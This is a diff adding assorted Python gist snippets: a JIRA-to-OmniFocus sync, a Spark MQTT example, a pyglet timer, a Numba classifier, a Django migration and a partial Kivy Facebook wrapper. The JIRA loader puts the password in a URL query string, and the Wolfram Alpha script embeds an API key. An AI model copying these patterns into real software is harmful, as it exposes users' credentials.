+    set POSIXpath to POSIX path of "{1}/{2}"
+    tell front document of application "OmniFocus"
+        tell front document window
+            set perspective name to thePerspective
+            save in POSIXpath as "public.text"
+        end tell
+    end tell
+end run
+""".format(perspective, folder, filename)
+
+
+UPDATE_SCRIPT = lambda task, status, flag, dueDate, note, project: """
+on run
+    set theDate to current date
+    set theTask to "{0}"
+    set theStatus to "Status: {1}\n"
+    set theFlag to {2}
+    set theDueDate to {3}
+    set theNote to "{4}"
+    set theContextName to "jira"
+    set theProjectName to "{5}"
+
+    tell application "OmniFocus"
+        tell front document
+            set theContext to first flattened context where its name = theContextName
+            set theProject to first flattened project where its name = theProjectName
+
+            if exists (first flattened task where its name = theTask and its context = theContext) then
+                -- Tasks exists, update the detail if necessary
+                set selectedTask to first flattened task where its name = theTask
+                set selectedNote to the paragraphs of the note of the selectedTask
+                -- Overwrite the note detail if the status has changed
+                if (item 1 of the selectedNote is not theStatus) then
+                    set the note of the selectedTask to theNote
+                end if
+                -- Flag task if necessary (but don't remove existing flags)
+                if (not flagged of the selectedTask and theFlag) then
+                    set the flagged of the selectedTask to theFlag
+                end if
+                -- Check due date
+                set selectedDueDate to the due date of the selectedTask
+                if (theDueDate is not missing value and theDueDate is not selectedDueDate) then
+                    set the due date of the selectedTask to theDueDate
+                end if
+                -- Ensure task not marked as completed
+                if (completed of the selectedTask) then
+                    set the completed of the selectedTask to false
+                end if
+            else
+                -- Add new Task
+                tell theProject to make new task with properties {{name:theTask, note:theNote, context:theContext}}
+            end if
+        end tell
+    end tell
+end run
+""".format(task, status, 'true' if flag else 'false',
+           'date "{0} 5:00 PM"'.format(dueDate.strftime('%m/%d/%Y')) if dueDate else 'missing value', note,
+           project)
+
+
+def stringToDatetime(s):
+    """
+    Try various things to convert string to datetime.
+    :param s:  string to parse
+    :return: datetime object
+    """
+    try:
+        return datetime.strptime(s, "%Y-%m-%d %H:%M:%S.%f")
+    except (ValueError, TypeError):
+        pass
+    try:
+        return datetime.strptime(s, "%Y-%m-%d %H:%M:%S")
+    except (ValueError, TypeError):
+        pass
+    try:
+        return datetime.strptime(s, "%Y-%m-%dT%H:%M:%S.%f")
+    except (ValueError, TypeError):
+        pass
+    try:
+        return datetime.strptime(s, "%Y-%m-%dT%H:%M:%S")
+    except (ValueError, TypeError):
+        pass
+    try:
+        return datetime.strptime(s, "%Y-%m-%d")
+    except (ValueError, TypeError):
+        pass
+    return None
+
+
+class OmniFocus(object):
+    """
+    Class for getting issues from JIRA and creating / updating OmniFocus tasks.
+
+    See OmniFocus.sync_jira_to_omnifocus() -- this is the function that calls everything else.
+
+    You'll have to OmniFocus.customize process_jira_data(), as it filters tasks based on my needs.
+    """
+    def __init__(self):
+        self.data = None
+
+    @staticmethod
+    def finish_task(task, status, note, project):
+        AppleScript(FINISH_SCRIPT(task, status, note, project)).run()
+
+    @staticmethod
+    def get_tasks():
+        AppleScript(GET_SCRIPT(PERSPECTIVE, OMNI_FOLDER, TASK_FILENAME)).run()
+
+    @staticmethod
+    def update_task(task, status, flag, dueDate, note, project):
+        AppleScript(UPDATE_SCRIPT(task, status, flag, dueDate, note, project)).run()
+
+    @staticmethod
+    def load_jira_data(project_key, username, password):
+        """
+        Load the data from jira, and build a list that has the details you want in the OmniFocus notes.
+
+        :param project_key: 3-4 letter jira project key (project letters in front of the issue number)
+        :param username: jira username
+        :param password: jira password
+        :return:
+        """
+        data = []
+        url = '{0}rest/api/2/search?jql=project='.format(JIRA_URL) + \
+              '{0}&maxResults=1000&os_username={1}&os_password={2}'.format(project_key, username, password)
+        f = urlopen(url)
+        response = f.read()
+        f.close()
+        jira_data = JSONDecoder().decode(response)
+        for issue in jira_data['issues']:
+            key = issue['key']
+            url = '{0}{1}'.format(JIRA_URL, key)
+            name = issue['fields']['assignee']['name']
+            title = issue['fields']['summary'].replace('"', "'")
+            status = issue['fields']['status']['name']
+            dueDate = stringToDatetime(issue['fields']['duedate'])
+            if issue['fields']['description']:
+                description = issue['fields']['description'].encode('ascii', 'ignore').replace('"', "'")\
+                    .replace("\\'", "'")
+            else:
+                description = ''
+            # Build the task details and store them on the data
+            task = '{0}: {1}'.format(key, title)
+            note = 'Status: {0}\n{1}\n\n{2}'.format(status, url, description)
+            data.append({'key': key, 'task': task, 'name': name, 'status': status, 'dueDate': dueDate, 'note': note})
+        return data
+
+    @staticmethod
+    def process_jira_data(data):
+        """
+        Processes the data from jira.  Note - you'll need to customize this.  It current filters to my username,
+        and to status items specific to my project.
+        :param data:
+        :return:
+        """
+        processed = []
+        for item in data:
+            if item['name'] == 'amorris' and item['status'] in ('Open', 'Reopened', 'In Progress', 'In Progress - Warn',
+                                                                'In Progress - Alert'):
+                if item['status'] in ('In Progress', 'In Progress - Warn', 'In Progress - Alert'):
+                    flag = True
+                else:
+                    flag = False
+                processed.append({'task': item['task'], 'status': item['status'], 'done': False,
+                                  'flag': flag, 'dueDate': item['dueDate'], 'note': item['note']})
+            elif item['name'] == 'amorris' and item['status'] in ('Closed', 'Resolved'):
+                processed.append({'task': item['task'], 'status': item['status'], 'done': True, 'flag': False,
+                                  'dueDate': None, 'note': item['note']})
+        return processed
+
+    def sync_jira_to_omnifocus(self, project, project_key, username, password):
+        """
+        Main function to call.  This calls all the other functions to get information from jira into OmniFocus.
+        :param project:  The full name of the project
+        :param project_key:  3-4 letter jira project key (project letters in front of the issue number)
+        :param username:  jira username
+        :param password:  jira password
+        :return:
+        """
+        log.info('Loading Jira Issues')
+        data = self.load_jira_data(project_key, username, password)
+        processed = self.process_jira_data(data)
+        log.info('Updating OmniFocus')
+        for item in processed:
+            if not item['done']:
+                log.info('Update {0}'.format(item['task']))
+                try:
+                    # This adds / updates a task in OmniFocus
+                    self.update_task(item['task'], item['status'], item['flag'], item['dueDate'], item['note'], project)
+                except ScriptError, e:
+                    log.warn('Task Failed: {0}: {1}'.format(item['task'], e))
+                    msg = UPDATE_SCRIPT(item['task'], item['status'], item['flag'], item['dueDate'], item['note'],
+                                        project)
+                    log.debug(msg)
+            else:
+                try:
+                    # This auto-finishes a task in jira
+                    self.finish_task(item['task'], item['status'], item['note'], project)
+                except ScriptError, e:
+                    log.warn('Finished Task Ignored: {0}: {1}'.format(item['task'], e))
+                    msg = FINISH_SCRIPT(item['task'], item['status'], item['note'], project)
+                    log.debug(msg)
\ No newline at end of file
diff --git a/hard-gists/614fea74e9c67df0aae0/._snippet.py b/hard-gists/614fea74e9c67df0aae0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/614fea74e9c67df0aae0/._snippet.py differ
diff --git a/hard-gists/614fea74e9c67df0aae0/snippet.py b/hard-gists/614fea74e9c67df0aae0/snippet.py
new file mode 100644
index 00000000..d086d509
--- /dev/null
+++ b/hard-gists/614fea74e9c67df0aae0/snippet.py
@@ -0,0 +1,76 @@
+#
+# Licensed to the Apache Software Foundation (ASF) under one or more
+# contributor license agreements.  See the NOTICE file distributed with
+# this work for additional information regarding copyright ownership.
+# The ASF licenses this file to You under the Apache License, Version 2.0
+# (the "License"); you may not use this file except in compliance with
+# the License.  You may obtain a copy of the License at
+#
+#    http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+"""
+ This example will consume temperature data (or any other numerical values, really)
+ from an MQTT broker, and consolidate/graph this data on a 15-second sliding window.
+
+ This work is based on the original mqtt_wordcount.py sample from the Apache Spark codebase
+
+ Running the example:
+    `$ bin/spark-submit --jars \
+      external/mqtt-assembly/target/spark-streaming-mqtt-assembly_*.jar \
+      mqtt_spark_streaming.py`
+"""
+
+
+def is_number(s):
+    try:
+        float(s)
+        return True
+    except ValueError:
+        return False
+
+import sys
+import operator
+
+from pyspark import SparkContext
+from pyspark.streaming import StreamingContext
+from pyspark.streaming.mqtt import MQTTUtils
+
+sc = SparkContext(appName="TemperatureHistory")
+ssc = StreamingContext(sc, 1)
+ssc.checkpoint("checkpoint")
+
+# broker URI
+brokerUrl = "tcp://192.168.2.26:1883" # "tcp://iot.eclipse.org:1883"
+# topic or topic pattern where temperature data is being sent
+topic = "+/+/sensors/temperature"
+
+mqttStream = MQTTUtils.createStream(ssc, brokerUrl, topic)
+
+counts = mqttStream \
+    .filter(lambda message: is_number(message)) \
+    .map(lambda message: ( round(float(message) * 2, 0) / 2, 1 )) \
+    .reduceByKeyAndWindow(operator.add, operator.sub, 15, 1) \
+    .transform(lambda rdd: rdd.sortByKey())
+
+
+def printHistogram(time, rdd):
+    c = rdd.collect()
+    print("-------------------------------------------")
+    print("Time: %s" % time)
+    print("-------------------------------------------")
+    for record in c:
+    	# "draw" our lil' ASCII-based histogram
+        print(str(record[0]) + ': ' + '#'*record[1])
+    print("")
+
+counts.foreachRDD(printHistogram)
+
+ssc.start()
+ssc.awaitTermination()
\ No newline at end of file
diff --git a/hard-gists/6152106/._snippet.py b/hard-gists/6152106/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6152106/._snippet.py differ
diff --git a/hard-gists/6152106/snippet.py b/hard-gists/6152106/snippet.py
new file mode 100644
index 00000000..b042e81a
--- /dev/null
+++ b/hard-gists/6152106/snippet.py
@@ -0,0 +1,7 @@
+#!/usr/bin/python
+
+import sys, dbus
+knotify = dbus.SessionBus().get_object("org.kde.knotify", "/Notify")
+try:    title, text = sys.argv[1:3]
+except: print 'Usage: knotify.py title text'; sys.exit(1)
+knotify.event("warning", "kde", [], title, text, [], [], 0, 0, dbus_interface="org.kde.KNotify")
diff --git a/hard-gists/6156601/._snippet.py b/hard-gists/6156601/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6156601/._snippet.py differ
diff --git a/hard-gists/6156601/snippet.py b/hard-gists/6156601/snippet.py
new file mode 100644
index 00000000..50e034f9
--- /dev/null
+++ b/hard-gists/6156601/snippet.py
@@ -0,0 +1,26 @@
+#!/usr/bin/python
+import wolframalpha
+import sys
+#Get a free API key here http://products.wolframalpha.com/api/
+#I may disable this key if I see lots of abuse
+app_id='Q59EW4-7K8AHE858R'
+
+client = wolframalpha.Client(app_id)
+
+query = ' '.join(sys.argv[1:])
+res = client.query(query)
+
+
+print query
+
+if len(res.pods) > 0:
+    texts = ""
+    pod = res.pods[1]
+    if pod.text:
+        texts = pod.text
+    else:
+        texts = "I have no answer for that"
+    print texts
+else:
+    print "I am not sure"
+
diff --git a/hard-gists/6162321/._snippet.py b/hard-gists/6162321/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6162321/._snippet.py differ
diff --git a/hard-gists/6162321/snippet.py b/hard-gists/6162321/snippet.py
new file mode 100644
index 00000000..148b59b1
--- /dev/null
+++ b/hard-gists/6162321/snippet.py
@@ -0,0 +1,97 @@
+#!/usr/bin/env python
+# ----------------------------------------------------------------------------
+# A fork of pyglet's timer.py by Luke Macken
+#
+# Copyright (c) 2006-2008 Alex Holkner
+# All rights reserved.
+#
+# Redistribution and use in source and binary forms, with or without
+# modification, are permitted provided that the following conditions
+# are met:
+#
+#  * Redistributions of source code must retain the above copyright
+#    notice, this list of conditions and the following disclaimer.
+#  * Redistributions in binary form must reproduce the above copyright
+#    notice, this list of conditions and the following disclaimer in
+#    the documentation and/or other materials provided with the
+#    distribution.
+#  * Neither the name of pyglet nor the names of its
+#    contributors may be used to endorse or promote products
+#    derived from this software without specific prior written
+#    permission.
+#
+# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+# COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
+# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
+# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
+# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+# POSSIBILITY OF SUCH DAMAGE.
+# ----------------------------------------------------------------------------
+
+'''A full-screen minute:second countdown timer.  Leave it in charge of your conference
+lighting talks.
+
+Once there is 5 minutes left, the timer goes red.  This limit is easily
+adjustable by hacking the source code.
+
+Press spacebar to start, stop and reset the timer.
+'''
+
+import sys
+import pyglet
+
+window = pyglet.window.Window(fullscreen=True)
+
+
+COUNTDOWN = int(sys.argv[1])
+
+
+class Timer(object):
+    def __init__(self):
+        self.start = '%s:00' % COUNTDOWN
+        self.label = pyglet.text.Label(self.start, font_size=360,
+                                       x=window.width//2, y=window.height//2,
+                                       anchor_x='center', anchor_y='center')
+        self.reset()
+
+    def reset(self):
+        self.time = COUNTDOWN * 60
+        self.running = False
+        self.label.text = self.start
+        self.label.color = (255, 255, 255, 255)
+
+    def update(self, dt):
+        if self.running:
+            self.time -= dt
+            m, s = divmod(self.time, 60)
+            self.label.text = '%02d:%02d' % (m, s)
+            if m < 5:
+                self.label.color = (180, 0, 0, 255)
+            if m < 0:
+                self.running = False
+                self.label.text = 'STOP'
+
+@window.event
+def on_key_press(symbol, modifiers):
+    if symbol == pyglet.window.key.SPACE:
+        if timer.running:
+            timer.running = False
+        else:
+            timer.running = True
+    elif symbol == pyglet.window.key.ESCAPE:
+        window.close()
+
+@window.event
+def on_draw():
+    window.clear()
+    timer.label.draw()
+
+timer = Timer()
+pyglet.clock.schedule_interval(timer.update, 1)
+pyglet.app.run()
diff --git a/hard-gists/6165747/._snippet.py b/hard-gists/6165747/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6165747/._snippet.py differ
diff --git a/hard-gists/6165747/snippet.py b/hard-gists/6165747/snippet.py
new file mode 100644
index 00000000..d2d78977
--- /dev/null
+++ b/hard-gists/6165747/snippet.py
@@ -0,0 +1,243 @@
+"""
+(C) August 2013, Mathieu Blondel
+# License: BSD 3 clause
+
+This is a Numba-based reimplementation of the block coordinate descent solver
+(without line search) described in the paper:
+
+    Block Coordinate Descent Algorithms for Large-scale Sparse Multiclass
+    Classification.  Mathieu Blondel, Kazuhiro Seki, and Kuniaki Uehara.
+    Machine Learning, May 2013.
+
+The reference Cython implementation is avaible from the "primal_cd" module in:
+    https://github.com/mblondel/lightning
+
+The reference Cython implementation appears to be roughly 2x faster than this
+implementation.
+"""
+
+from numba import jit
+
+import numpy as np
+import scipy.sparse as sp
+
+from sklearn.base import BaseEstimator, ClassifierMixin
+from sklearn.preprocessing import LabelEncoder
+from sklearn.utils.extmath import safe_sparse_dot
+
+
+@jit("void(f8[:], i4[:], f8, f8[:])")
+def _inv_step_sizes(X_data, X_indptr, scale, out):
+    """Compute the block-wise inverse step sizes (Lipschitz constants)."""
+    n_features = out.shape[0]
+
+    for j in xrange(n_features):
+        sqnorm = 0
+        for k in xrange(X_indptr[j], X_indptr[j+1]):
+            sqnorm += X_data[k] * X_data[k]
+        out[j] = scale * sqnorm
+
+
+@jit("void(f8[:], i4[:], i4[:], i4[:], f8[:,:], i4, f8, f8[:])")
+def _grad(X_data, X_indices, X_indptr, y, A, j, C, out):
+    """Compute the partial gradient for the j^th block
+       (vector of size n_classes)."""
+    n_classes = out.shape[0]
+
+    for r in xrange(n_classes):
+        for k in xrange(X_indptr[j], X_indptr[j+1]):
+            i = X_indices[k]
+
+            if y[i] == r:
+                continue
+
+            if A[r, i] > 0:
+                out[y[i]] -= 2 * C * A[r, i] * X_data[k]
+                out[r] += 2 * C * A[r, i] * X_data[k]
+
+
+@jit("void(f8[:], i4, f8, f8, f8[:], f8[:, :])")
+def _update_coef(grad, j, step_size, alpha, update, coef):
+    """Update the j^th block of the coefficient matrix."""
+    n_classes = grad.shape[0]
+
+    update_norm = 0
+
+    for r in xrange(n_classes):
+        update[r] = coef[r, j] - step_size * grad[r]
+        update_norm += update[r] * update[r]
+
+    update_norm = np.sqrt(update_norm)
+
+    mu = alpha * step_size
+    scale = 1 - mu / update_norm
+    if scale < 0:
+        scale = 0
+
+    for r in xrange(n_classes):
+        old = coef[r, j]
+        coef[r, j] = scale * update[r]
+        update[r] = coef[r, j] - old
+
+
+@jit("void(f8[:], i4[:], i4[:], i4[:], i4, f8[:], f8[:, :])")
+def _update_A(X_data, X_indices, X_indptr, y, j, update, A):
+    """Update matrix A (see paper)."""
+    n_classes = A.shape[0]
+
+    for r in xrange(n_classes):
+        for k in xrange(X_indptr[j], X_indptr[j+1]):
+            i = X_indices[k]
+
+            if y[i] == r:
+                continue
+
+            A[r, i] += (update[r] - update[y[i]]) * X_data[k]
+
+
+@jit("f8(f8[:], f8[:], i4, f8)")
+def _violation(grad, coef, j, alpha):
+    """Compute optimality violation for the j^th block."""
+    n_classes = grad.shape[0]
+
+    coef_norm = 0
+    grad_norm = 0
+
+    for r in xrange(n_classes):
+        coef_norm += coef[r, j] * coef[r, j]
+        grad_norm += grad[r] * grad[r]
+
+    grad_norm = np.sqrt(grad_norm)
+
+    if coef_norm == 0:
+        violation = max(grad_norm - alpha, 0)
+    else:
+        violation = np.abs(grad_norm - alpha)
+
+    return violation
+
+
+@jit("void(f8[:], i4[:], i4[:], i4[:], i4, f8, f8, f8, i4, f8[:,:])")
+def _fit(X_data, X_indices, X_indptr, y, max_iter, alpha, C, tol,
+         verbose, coef):
+    n_samples = y.shape[0]
+    n_classes, n_features = coef.shape
+    inv_step_sizes = np.zeros(n_features, dtype=np.float64)
+    _inv_step_sizes(X_data, X_indptr, C * 4 * (n_classes-1), inv_step_sizes)
+
+    grad = np.zeros(n_classes, dtype=np.float64)
+    update = np.zeros(n_classes, dtype=np.float64)
+    A = np.ones((n_classes, n_samples), dtype=np.float64)
+
+    rs = np.random.RandomState(None)
+
+    violation_init = 0
+    for it in xrange(max_iter):
+        violation_max = 0
+
+        for _ in xrange(n_features):
+            j = rs.randint(n_features-1)
+
+            if inv_step_sizes[j] == 0:
+                continue
+
+            grad.fill(0)
+            _grad(X_data, X_indices, X_indptr, y, A, j, C, grad)
+            violation = _violation(grad, coef, j, alpha)
+            _update_coef(grad, j, 1. / inv_step_sizes[j], alpha, update, coef)
+            _update_A(X_data, X_indices, X_indptr, y, j, update, A)
+
+            if violation > violation_max:
+                violation_max = violation
+
+        if it == 0:
+            violation_init = violation_max
+
+        if verbose >= 1:
+            print violation_max / violation_init
+
+        if violation_max / violation_init < tol:
+            if verbose >= 1:
+                print "Converged at iter", it + 1
+            break
+
+
+class SparseMulticlassClassifier(BaseEstimator, ClassifierMixin):
+
+    def __init__(self, alpha=1, C=1, max_iter=20, tol=0.05, verbose=0):
+        self.alpha = alpha
+        self.C = C
+        self.max_iter = max_iter
+        self.tol = tol
+        self.verbose = verbose
+
+
+    def fit(self, X, y):
+        X = sp.csc_matrix(X)
+
+        n_samples, n_features = X.shape
+
+        self._enc = LabelEncoder()
+        y = self._enc.fit_transform(y).astype(np.int32)
+        n_classes = len(self._enc.classes_)
+
+        self.coef_ = np.zeros((n_classes, n_features), dtype=np.float64)
+
+        _fit(X.data, X.indices, X.indptr, y, self.max_iter,
+             self.alpha, self.C, self.tol, self.verbose, self.coef_)
+
+        return self
+
+    def decision_function(self, X):
+        return safe_sparse_dot(X, self.coef_.T)
+
+    def predict(self, X):
+        pred = self.decision_function(X)
+        pred = np.argmax(pred, axis=1)
+        return self._enc.inverse_transform(pred)
+
+    def n_nonzero(self, percentage=False):
+        n_nz = np.sum(np.sum(self.coef_ != 0, axis=0, dtype=bool))
+
+        if percentage:
+            n_nz /= float(self.coef_.shape[1])
+
+        return n_nz
+
+
+if __name__ == '__main__':
+    import time
+
+    from sklearn.datasets import fetch_20newsgroups_vectorized
+
+    bunch = fetch_20newsgroups_vectorized(subset="all")
+    X = bunch.data
+    y = bunch.target
+
+    print X.shape
+
+    s = time.time()
+    clf = SparseMulticlassClassifier(C=1./X.shape[0], alpha=1e-4, tol=1e-3,
+                                     max_iter=20, verbose=0)
+    clf.fit(X, y)
+    training_time = time.time() - s
+
+    print "Numba"
+    print training_time
+    print clf.score(X, y)
+    print clf.n_nonzero(percentage=True)
+    print
+
+    from lightning.primal_cd import CDClassifier
+    clf = CDClassifier(C=1./X.shape[0], alpha=1e-4, tol=1e-3, max_iter=20,
+                       multiclass=True, penalty="l1/l2", shrinking=False,
+                       max_steps=0, selection="uniform", verbose=0)
+    s = time.time()
+    clf.fit(X, y)
+    training_time = time.time() - s
+
+    print "Cython"
+    print training_time
+    print clf.score(X, y)
+    print clf.n_nonzero(percentage=True)
+    print
diff --git a/hard-gists/6168003/._snippet.py b/hard-gists/6168003/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6168003/._snippet.py differ
diff --git a/hard-gists/6168003/snippet.py b/hard-gists/6168003/snippet.py
new file mode 100644
index 00000000..2473b81d
--- /dev/null
+++ b/hard-gists/6168003/snippet.py
@@ -0,0 +1,53 @@
+# -*- coding: utf-8 -*-
+
+import datetime
+from south.db import db
+from south.v2 import SchemaMigration
+from django.db import models
+from django.db.models import get_app, get_models
+
+
+class Migration(SchemaMigration):
+
+    # old_name => new_name
+    apps_to_rename = {
+        'some_old_app' : 'some_new_app',
+        'another_old_app' : 'another_new_app'
+    }
+
+    def forwards(self, orm):
+
+        for old_appname, new_appname in self.apps_to_rename.items():
+
+            # Renaming model from 'Foo' to 'Bar'                  
+            db.execute("UPDATE south_migrationhistory SET app_name = %s WHERE app_name = %s", [new_appname, old_appname])                                                                                                    
+            db.execute("UPDATE django_content_type SET app_label = %s WHERE app_label = %s", [new_appname, old_appname])                                                                                                    
+            
+            app = get_app(new_appname)
+            for model in get_models(app, include_auto_created=True):
+                if model._meta.proxy == True:
+                    continue
+
+                new_table_name = model._meta.db_table
+                old_table_name = old_appname + new_table_name[len(new_appname):] 
+            
+                db.rename_table(old_table_name, new_table_name)                                                                                                                        
+        
+
+    def backwards(self, orm):
+
+        for old_appname, new_appname in self.apps_to_rename.items():
+            # Renaming model from 'Foo' to 'Bar'                  
+            db.execute("UPDATE south_migrationhistory SET app_name = %s WHERE app_name = %s", [old_appname, new_appname])                                                                                                    
+            db.execute("UPDATE django_content_type SET app_label = %s WHERE app_label = %s", [old_appname, new_appname])                                                                                                    
+            
+            app = get_app(new_appname)
+            for model in get_models(app, include_auto_created=True):
+                if model._meta.proxy == True:
+                    continue
+                    
+                old_table_name = model._meta.db_table
+                new_table_name = old_appname + old_table_name[len(new_appname):] 
+            
+                db.rename_table(old_table_name, new_table_name)                                                                                                                        
+            
\ No newline at end of file
diff --git a/hard-gists/6175388/._snippet.py b/hard-gists/6175388/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6175388/._snippet.py differ
diff --git a/hard-gists/6175388/snippet.py b/hard-gists/6175388/snippet.py
new file mode 100644
index 00000000..d90f4be1
--- /dev/null
+++ b/hard-gists/6175388/snippet.py
@@ -0,0 +1,306 @@
+'''
+Kivy + Facebook SDK
+===================
+
+This example works only on Android.
+
+Create debug hash key (default debug key password is `android`)::
+
+    keytool -exportcert -alias androiddebugkey -keystore \ 
+        ~/.android/debug.keystore  | openssl sha1 -binary | openssl base64
+
+Available Facebook permissions:
+
+    https://developers.facebook.com/docs/reference/fql/permissions/
+
+Issues:
+
+* W/fb4a:fb:OrcaServiceQueue(28514): com.facebook.orca.protocol.base.ApiException:
+  The proxied app is not already installed.
+
+  -> ?, doesn't seem dangerous.
+
+'''
+
+
+from kivy.properties import StringProperty, BooleanProperty
+from kivy.event import EventDispatcher
+from kivy.clock import Clock
+from jnius import autoclass, PythonJavaClass, java_method, cast
+from android import activity
+from android.runnable import run_on_ui_thread
+
+
+context = autoclass('org.renpy.android.PythonActivity').mActivity
+Arrays = autoclass('java.util.Arrays')
+Session = autoclass('com.facebook.Session')
+SessionBuilder = autoclass('com.facebook.Session$Builder')
+SessionOpenRequest = autoclass('com.facebook.Session$OpenRequest')
+SessionNewPermissionsRequest = autoclass('com.facebook.Session$NewPermissionsRequest')
+Request = autoclass('com.facebook.Request')
+
+
+class _FacebookStatusCallback(PythonJavaClass):
+    __javainterfaces__ = ['com.facebook.Session$StatusCallback']
+    __javacontext__ = 'app'
+
+    def __init__(self, fb):
+        self.fb = fb
+        super(_FacebookStatusCallback, self).__init__()
+
+    @java_method('(Lcom/facebook/Session;Lcom/facebook/SessionState;Ljava/lang/Exception;)V')
+    def call(self, session, state, exception):
+        self.fb.status = state.toString()
+        self.fb._update_state()
+
+
+class _FacebookRequestCallback(PythonJavaClass):
+    __javainterfaces__ = ['com.facebook.Request$Callback']
+    __javacontext__ = 'app'
+
+    def __init__(self, callback):
+        self.callback = callback
+        super(_FacebookRequestCallback, self).__init__()
+
+    @java_method('(Lcom/facebook/Response;)V')
+    def onCompleted(self, response):
+        self.callback(response)
+
+
+class _FacebookGraphUserCallback(PythonJavaClass):
+
+    __javainterfaces__ = ['com.facebook.Request$GraphUserCallback']
+    __javacontext__ = 'app'
+
+    def __init__(self, callback):
+        self.callback = callback
+        super(_FacebookGraphUserCallback, self).__init__()
+
+    @java_method('(Lcom/facebook/model/GraphUser;Lcom/facebook/Response;)V')
+    def onCompleted(self, user, response):
+        self.callback(user, response)
+
+
+class Facebook(EventDispatcher):
+    '''Facebook connector object. Permissions can be found at:
+
+        https://developers.facebook.com/docs/reference/fql/permissions/
+
+    '''
+
+    status = StringProperty('')
+    '''Return the current status of the facebook session.
+    '''
+
+    is_open = BooleanProperty(False)
+    '''True if the session is ready to use.
+    '''
+
+    __events__ = ('on_open', 'on_closed')
+
+    def __init__(self, app_id, permissions_read=['basic_info'],
+            permissions_write=[]):
+        super(Facebook, self).__init__()
+        activity.bind(on_activity_result=self._on_activity_result)
+        self._permissions_read = permissions_read
+        self._permissions_write = permissions_write
+        self._app_id = app_id
+        self._session_callback = _FacebookStatusCallback(self)
+        self._session = None
+        self._requests = []
+
+    def open(self):
+        '''Open a facebook connection.
+        When the session is opened, the event `on_open` will be fired.
+
+        '''
+        self._open_for_read()
+
+    def on_open(self):
+        '''Fired when the Facebook session is opened and ready to use.
+        '''
+        pass
+
+    def on_closed(self, error):
+        '''Fired when the Facebook session has been closed. An additionnal
+        `error` message might be passed.
+        '''
+        pass
+
+    @run_on_ui_thread
+    def post(self, text, callback=None):
+        '''Post a new message from the application to the user wall
+        '''
+        # Facebook said the asynchronous request must be run in the ui thread.
+        # ref: https://developers.facebook.com/docs/reference/androidsdk/ayncrequest/
+        req = None
+        def _callback(*args):
+            if callback:
+                callback(*args)
+            self._requests.remove(req)
+        req = Request.newStatusUpdateRequest(
+                self._session, text, _FacebookRequestCallback(_callback))
+        self._requests.append(req)
+        req.executeAsync()
+
+    @run_on_ui_thread
+    def me(self, callback):
+        '''Get all the user information.
+        '''
+        req = None
+        def _callback(*args):
+            if callback:
+                callback(*args)
+            self._requests.remove(req)
+        req = Request.newMeRequest(
+                self._session, _FacebookGraphUserCallback(_callback))
+        self._requests.append(req)
+        req.executeAsync()
+
+    #
+    # private
+    #
+
+    def _update_state(self):
+        status = self.status
+        if status == 'OPENED':
+            # read access is ok, now schedule the write access if needed
+            Clock.schedule_once(self._open_for_write, 0)
+        elif status == 'OPENED_TOKEN_UPDATED':
+            # write access ok!
+            self.is_open = True
+            self.dispatch('on_open')
+        elif status == 'CLOSED':
+            self.is_open = False
+            self.dispatch('on_closed', None)
+        elif status == 'CLOSED_LOGIN_FAILED':
+            self.is_open = False
+            self.dispatch('on_closed', 'login failed')
+
+    def _on_activity_result(self, requestCode, resultCode, data):
+        # When the activity got a result, pass it to facebook for processing.
+        self._session.onActivityResult(
+            cast('android.app.Activity', context),
+            requestCode, resultCode, data)
+
+    def _open_for_read(self):
+        self._session = Session.getActiveSession()
+        if self._session:
+            if self._session.isOpened():
+                return
+            if self._session.isClosed():
+                self._session = None
+
+        if not self._session:
+            # more complex permission
+            self._session = SessionBuilder(context).setApplicationId(self._app_id).build()
+            Session.setActiveSession(self._session)
+            self._session.addCallback(self._session_callback)
+
+            self.req = SessionOpenRequest(cast('android.app.Activity', context))
+            self.req.setPermissions(Arrays.asList(*self._permissions_read))
+            self._session.openForRead(self.req)
+
+        else:
+            Clock.schedule_once(self._open_for_write, 0)
+
+    def _open_for_write(self, *args):
+        if not self._permissions_write:
+            self.is_open = True
+            self.dispatch('on_open')
+            return
+
+        self._session.requestNewPublishPermissions(
+            SessionNewPermissionsRequest(
+                cast('android.app.Activity', context),
+                Arrays.asList(*self._permissions_write)))
+
+
+if __name__ == '__main__':
+    from kivy.app import App
+    from kivy.lang import Builder
+
+    kv = '''
+BoxLayout:
+    BoxLayout:
+        orientation: 'vertical'
+        Label:
+            text: 'Facebook Status: [b]{}[/b]\\nMessage: [b]{}[/b]'.format(app.facebook.status, app.post_status)
+            markup: True
+            size_hint_y: None
+            height: '48dp'
+
+        Label:
+            text: app.user_infos
+
+        Button:
+            text: 'Log into Facebook'
+            size_hint_y: None
+            height: '48dp'
+            on_release: app.facebook.open()
+
+        Button:
+            text: 'Get user informations'
+            size_hint_y: None
+            height: '48dp'
+            on_release: app.fb_me()
+
